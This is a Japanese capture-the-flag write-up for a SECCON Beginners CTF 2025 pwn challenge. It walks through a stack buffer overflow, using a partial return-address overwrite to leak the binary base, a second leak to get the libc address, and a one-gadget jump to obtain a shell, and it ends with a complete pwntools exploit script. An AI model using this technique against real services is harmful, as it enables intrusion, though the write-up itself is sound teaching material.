- Source: SECCON Beginners CTF 2025
- Author: KuonRuri
バイナリとlibcが与えられる。Dockerfileもついていてうれしい。
#include <stdio.h>
#include <unistd.h>
int vuln() {
char message[0x30];
printf("Welcome to the second pivot game!\n");
printf("> ");
read(0, message, sizeof(message) + 0x10);
printf("Message: %s\n", message);
return 0;
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
vuln();
}
checksecすると、Canary以外は全て有効になっている。
$ checksec chall
[*] '/path/to/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
0x10byteの自明なBuffer Overflowがあり、さらにread()でユーザー入力を読み込んでいるため、0x38byteの入力でリターンアドレスをリークできそうだ。
ここでmain関数のアセンブリを見ると、main+74でvuln関数を呼び出している。PIEが有効でも下位12bitはオフセットなので、リターンアドレスの下位1byteだけを書き換えることでvuln関数に戻ってきつつmain+74をリークすることができる。
00000000000011dc <main>:
11dc: 55 push %rbp
11dd: 48 89 e5 mov %rsp,%rbp
11e0: 48 8b 05 39 2e 00 00 mov 0x2e39(%rip),%rax # 4020 <stdin@GLIBC_2.2.5>
11e7: b9 00 00 00 00 mov $0x0,%ecx
11ec: ba 02 00 00 00 mov $0x2,%edx
11f1: be 00 00 00 00 mov $0x0,%esi
11f6: 48 89 c7 mov %rax,%rdi
11f9: e8 72 fe ff ff call 1070 <setvbuf@plt>
11fe: 48 8b 05 0b 2e 00 00 mov 0x2e0b(%rip),%rax # 4010 <stdout@GLIBC_2.2.5>
1205: b9 00 00 00 00 mov $0x0,%ecx
120a: ba 02 00 00 00 mov $0x2,%edx
120f: be 00 00 00 00 mov $0x0,%esi
1214: 48 89 c7 mov %rax,%rdi
1217: e8 54 fe ff ff call 1070 <setvbuf@plt>
121c: bf 78 00 00 00 mov $0x78,%edi
1221: e8 2a fe ff ff call 1050 <alarm@plt>
1226: e8 4e ff ff ff call 1179 <vuln>
122b: b8 00 00 00 00 mov $0x0,%eax
1230: 5d pop %rbp
1231: c3 ret
payload = b'A'*0x38
payload += b'\x26' # main+74, elf+0x1226
io.sendafter(b'> ', payload)
io.recvuntil(b'A'*0x38)
elf_leak = u64(io.recvn(6).ljust(8, b'\x00'))
elf.address = elf_leak - 0x1226
assert elf.address & 0xfff == 0
log.success(f'elf base: {hex(elf.address)}')
これでelf baseがリークできたので、次はlibc baseをリークしたい。
vuln関数のアセンブリを見ると、vuln+18でrdiレジスタの中身を出力しているが、rdiの中身がlibcという状況は作れるだろうか。
0000000000001179 <vuln>:
1179: 55 push %rbp
117a: 48 89 e5 mov %rsp,%rbp
117d: 48 83 ec 30 sub $0x30,%rsp
1181: 48 8d 05 80 0e 00 00 lea 0xe80(%rip),%rax # 2008 <_IO_stdin_used+0x8>
1188: 48 89 c7 mov %rax,%rdi
118b: e8 a0 fe ff ff call 1030 <puts@plt>
1190: 48 8d 05 93 0e 00 00 lea 0xe93(%rip),%rax # 202a <_IO_stdin_used+0x2a>
1197: 48 89 c7 mov %rax,%rdi
119a: b8 00 00 00 00 mov $0x0,%eax
119f: e8 9c fe ff ff call 1040 <printf@plt>
11a4: 48 8d 45 d0 lea -0x30(%rbp),%rax
11a8: ba 40 00 00 00 mov $0x40,%edx
11ad: 48 89 c6 mov %rax,%rsi
11b0: bf 00 00 00 00 mov $0x0,%edi
11b5: e8 a6 fe ff ff call 1060 <read@plt>
11ba: 48 8d 45 d0 lea -0x30(%rbp),%rax
11be: 48 8d 15 68 0e 00 00 lea 0xe68(%rip),%rdx # 202d <_IO_stdin_used+0x2d>
11c5: 48 89 c6 mov %rax,%rsi
11c8: 48 89 d7 mov %rdx,%rdi
11cb: b8 00 00 00 00 mov $0x0,%eax
11d0: e8 6b fe ff ff call 1040 <printf@plt>
11d5: b8 00 00 00 00 mov $0x0,%eax
11da: c9 leave
11db: c3 ret
結論から言ってしまうと、printfの実行直後はrdiがfunlockfile()のアドレスになっている。
よって、リターンアドレスをvuln+18に飛ばしてあげれば2周目のvulnの最後のprintfでrdiに格納されたfunlockfile()のアドレスがリークできるので、これでlibcも得られる。
payload = b'B'*0x30
payload += p64(elf.address + 0x5000 - 0x10) # dummy, +rw section
payload += p64(elf.symbols['vuln']+18)
io.sendafter(b'> ', payload)
io.recvuntil(b'B'*0x30)
io.recvn(7) # drop dummy
libc_leak = u64(io.recvline('> ')[:6].ljust(8, b'\x00'))
libc.address = libc_leak - libc.symbols['funlockfile']
assert libc.address & 0xfff == 0
log.success(f'libc base: {hex(libc.address)}')
putの出力を得た後は3周目のreadでユーザー入力待ちの状態になっているので、あとはone-gadgetでシェルを得れば良い。
最終的なsolverはこうなる。
#!/usr/bin/env python3
from pwn import *
# context.log_level = 'debug'
elf = ELF('./chall')
libc = ELF('./libc.so.6')
context.binary = elf
HOST, PORT = 'localhost', 12300
io = remote(HOST, PORT)
# leak elf base
payload = b'A'*0x38
payload += b'\x26' # main+74, elf+0x1226
io.sendafter(b'> ', payload)
io.recvuntil(b'A'*0x38)
elf_leak = u64(io.recvn(6).ljust(8, b'\x00'))
elf.address = elf_leak - 0x1226
assert elf.address & 0xfff == 0
log.success(f'elf base: {hex(elf.address)}')
# leak libc base
payload = b'B'*0x30
payload += p64(elf.address + 0x5000 - 0x10) # dummy, +rw section
payload += p64(elf.symbols['vuln']+18)
io.sendafter(b'> ', payload)
io.recvuntil(b'B'*0x30)
io.recvn(7) # drop dummy
libc_leak = u64(io.recvline('> ')[:6].ljust(8, b'\x00'))
libc.address = libc_leak - libc.symbols['funlockfile']
assert libc.address & 0xfff == 0
log.success(f'libc base: {hex(libc.address)}')
# get shell
payload = b'C'*0x30
payload += p64(elf.address + 0x5000 - 0x10) # dummy
payload += p64(libc.address + 0xebd3f) # one-gadget
io.send(payload)
io.interactive()
あとはflagを読むだけ。
$ ls
flag-30f9af30bae6316908ad674471772e05.txt
run
$ cat flag*
ctf4b{f3wer_g1fts_gr3ater_j0y}
ctf4b{f3wer_g1fts_gr3ater_j0y}